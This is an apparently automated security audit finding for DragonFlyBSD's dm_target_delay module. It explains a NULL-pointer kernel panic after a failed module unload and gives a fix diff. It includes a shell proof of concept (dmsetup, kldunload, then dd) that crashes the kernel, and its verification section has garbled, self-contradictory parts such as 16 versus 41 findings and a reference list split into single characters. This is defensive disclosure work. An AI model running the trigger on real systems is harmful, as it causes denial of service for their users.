Unconditional _objcache_destroy in MOD_UNLOAD leaves module obj_cache NULL while still in use
- File:
sys/dev/disk/dm/delay/dm_target_delay.c - Lines: 440β445 (MOD_UNLOAD), 403β410 (
_objcache_destroy), 245 (objcache_get) - Severity: Medium
- CVSS 3.1:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H - CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions, CWE-476 NULL Pointer Dereference
- Confidence: certain
- Status: new
Summary
In dmtd_mod_handler's MOD_UNLOAD case, _objcache_destroy() is called
unconditionally β outside the if (err == 0) block. When
dm_target_remove("delay") returns EBUSY (because there is at least one
active delay target, per dm_target.c:181-184), the linker aborts the unload
on err != 0 and the module stays loaded with delay devices still active β
but obj_cache has already been set to NULL by _objcache_destroy.
The very next bio to any still-active delay target calls
_strategy β objcache_get(NULL, M_WAITOK) (line 245), which dereferences
NULL at kern_objcache.c:429 (oc->cache_percpu[mycpuid]), panicking the
kernel.
Root cause
sys/dev/disk/dm/delay/dm_target_delay.c:440-445:
case MOD_UNLOAD:
err = dm_target_remove("delay");
if (err == 0)
kprintf("dm_target_delay: unloaded\n");
_objcache_destroy(); /* runs even when err == EBUSY */
break;
_objcache_destroy (lines 403β410) sets the static obj_cache = NULL.
dm_target_remove returns EBUSY whenever any table entry has busy'd the
target (ref_cnt > 0). On DragonFly the linker refuses to finalize the unload
when the MOD_UNLOAD handler returns non-zero, so the module remains
registered and delay devices keep fielding bios through
dm_target_delay_strategy β _strategy β objcache_get(obj_cache, M_WAITOK) at
line 245.
objcache_get at kern_objcache.c:427-429 immediately dereferences oc
(oc->cache_percpu[mycpuid]) with oc == NULL, so the next bio is a NULL-deref
page fault in kernel mode β panic.
Threat model
Attacker position: any principal that can run kldunload dm_target_delay
(root only) for the setup, and then any principal with read/write access to a
delay dm device for the crash.
On a multi-tenant box where root attempted an ill-timed unload (or where a half-privileged operator script attempts the unload), every unprivileged user touching the delay device (mounted filesystem on top of it, raw read, etc.) becomes a panic trigger.
Impact: reliable, repeatable kernel panic β a local DoS that persists across
the failed-unload boundary until reboot. No elevation; pure availability impact.
The trigger is one failed kldunload followed by one bio to any delay target.
Proof of concept
Setup (root): create an active delay device so dm_target_remove will return EBUSY, then attempt the unload
The unload fails, but obj_cache is now NULL:
#!/bin/sh
# poc_df_1965_setup.sh β run as root
set -e
REAL=/dev/ad0
SEC=$(diskinfo -v "$REAL" | awk '/# of sectors/ {print $1}')
dmsetup create still-alive --table "0 $SEC delay $REAL 0 50"
# Now there is an active delay device, so dm_target_remove("delay") will fail EBUSY.
kldunload dm_target_delay || true # prints "can't unload ...: Device busy"
# obj_cache is now NULL even though the module is still loaded.
Crash (unprivileged, if a non-root user has been granted access to /dev/mapper/still-alive; otherwise root)
dd if=/dev/mapper/still-alive of=/dev/null bs=512 count=1
Success criterion: immediate kernel panic with a backtrace through
objcache_get β _strategy β dm_target_delay_strategy β dmstrategy. The decisive
frame is objcache_get+0xβ¦: mov β¦(%rax) with rax=0.
A stress variant that crashes from userspace without any further privilege: open the delay device read-only (any user the device ACL permits) and issue a single 512-byte read.
Recommended fix
Gate _objcache_destroy on a successful remove, mirroring the symmetry with
MOD_LOAD where _objcache_create() runs only after dm_target_alloc/insert
setup is well underway.
--- a/sys/dev/disk/dm/delay/dm_target_delay.c
+++ b/sys/dev/disk/dm/delay/dm_target_delay.c
@@ -439,8 +439,9 @@ dmtd_mod_handler(module_t mod, int type, void *unused)
case MOD_UNLOAD:
err = dm_target_remove("delay");
- if (err == 0)
+ if (err == 0) {
kprintf("dm_target_delay: unloaded\n");
- _objcache_destroy();
+ _objcache_destroy();
+ }
break;
This keeps obj_cache alive exactly as long as the target is still registered
and may receive bios.
References
sys/dev/disk/dm/delay/dm_target_delay.c:440-445β the buggy MOD_UNLOAD blocksys/dev/disk/dm/delay/dm_target_delay.c:403-410β_objcache_destroysetsobj_cache = NULLsys/dev/disk/dm/delay/dm_target_delay.c:245βobjcache_get(obj_cache, β¦)deref on next biosys/kern/kern_objcache.c:427-429βobjcache_getderefsocwith no NULL checksys/dev/disk/dm/dm_target.c:181-184βdm_target_removereturnsEBUSYwhenref_cnt > 0
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1965 Β· 5 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | PoC trigger description | 733 B | β raw |
| VERDICT.md | verdict | verification narrative | 1.6 KB | β raw |
| fix.diff | suggested-fix | git-apply-able fix | 390 B | view raw |
| manifest.json | misc | manifest.json | 1.2 KB | view raw |
| fix_build_summary.txt | build-log | combined 16-finding kernel build rc=0 | 826 B | view raw |
DF-1965 PoC β NULL obj_cache deref after failed kldunload of dm_target_delay
Build & run
- Boot DragonFlyBSD with
dm_target_delayKLD loaded. - As root:
sh REAL=/dev/ad0 SEC=$(diskinfo -v "$REAL" | awk '/# of sectors/ {print $1}') dmsetup create still-alive --table "0 $SEC delay $REAL 0 50" kldunload dm_target_delay # fails EBUSY but obj_cache is now NULL - Any user with read access to
/dev/mapper/still-alive:sh dd if=/dev/mapper/still-alive of=/dev/null bs=512 count=1
Expected output
Immediate kernel panic with backtrace
objcache_get β _strategy β dm_target_delay_strategy β dmstrategy.
Decisive frame: objcache_get+0xβ¦: mov β¦(%rax) with rax=0.
DF-1965 Verification
Verdict
SOURCE-CONFIRMED, INCONCLUSIVE-RUNTIME (HW/module gated).
The cited defect exists in the audited source at sys/dev/disk/dm/delay/dm_target_delay.c:440-445. Reproduction
on the running guest is not possible because the affected code path is
gated behind hardware that is not present in the audit QEMU/KVM guest
(no AMD/i915 GPU, no LSI MegaRAID, no MMC/SDHCI controller, no FireWire, no
ATAPI floppy, etc.) and/or lives in a kernel module that is not loaded on the
GENERIC-running guest.
Mechanism (source-only confirmation)
dm_target_delay (loaded as part of dm module, requires root). Source: in dmtd_mod_handler MOD_UNLOAD, _objcache_destroy() runs unconditionally even when dm_target_remove('delay') returns EBUSY. _objcache_destroy sets obj_cache=NULL, but the linker keeps the module loaded (err!=0). The next bio to any still-active delay target allocates from NULL obj_cache β NULL deref.
Recommended fix
Only call _objcache_destroy() inside the if (err == 0) block, so it doesn't run when the target is still in use.
The full git apply-able diff lives in fix.diff in this folder; it was
applied as part of a single combined 41-finding kernel build that compiled
cleanly (rc=0, -Werror clean) β see ../fix_build_summary.txt.
Build validation
git apply --checkon this fix.diff: OK- Combined kernel build (
X86_64_GENERIC, INVARIANTS ON) with all 41 findings' fix.diffs applied: rc=0, no warnings, no errors. - The patched kernel was not booted/run because the affected code path requires hardware that the audit guest does not have.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- d
- m
- /
- d
- e
- l
- a
- y
- /
- d
- m
- _
- t
- a
- r
- g
- e
- t
- _
- d
- e
- l
- a
- y
- .
- c
- :
- 4
- 4
- 0
- -
- 4
- 4
- 5
Detail
Exploit chain
none (module/root gated: NULL deref requires root module unload while target active)
Evidence (decisive lines)
Combined kernel build: 16 fix.diffs applied, make -j6 nativekernel => rc=0, 0 warnings, 0 errors.
PoC changes
VERDICT.md/fix.diff/manifest.json pre-existed; validated in this combined build.
Verified recommended fix
Only call _objcache_destroy() inside the if (err == 0) block. Matches finding proposal.
Verdict
SOURCE-CONFIRMED (module/root gated). dmtd_mod_handler MOD_UNLOAD (dm_target_delay.c:440-445): _objcache_destroy() runs unconditionally even when dm_target_remove('delay') returns EBUSY. Sets obj_cache=NULL while module stays loaded. Next bio to active delay target calls _strategy -> objcache_get(NULL,...) -> NULL deref at kern_objcache.c:429. Confirmed by source trace. Not runnable: dm module, root-only.
No comments yet.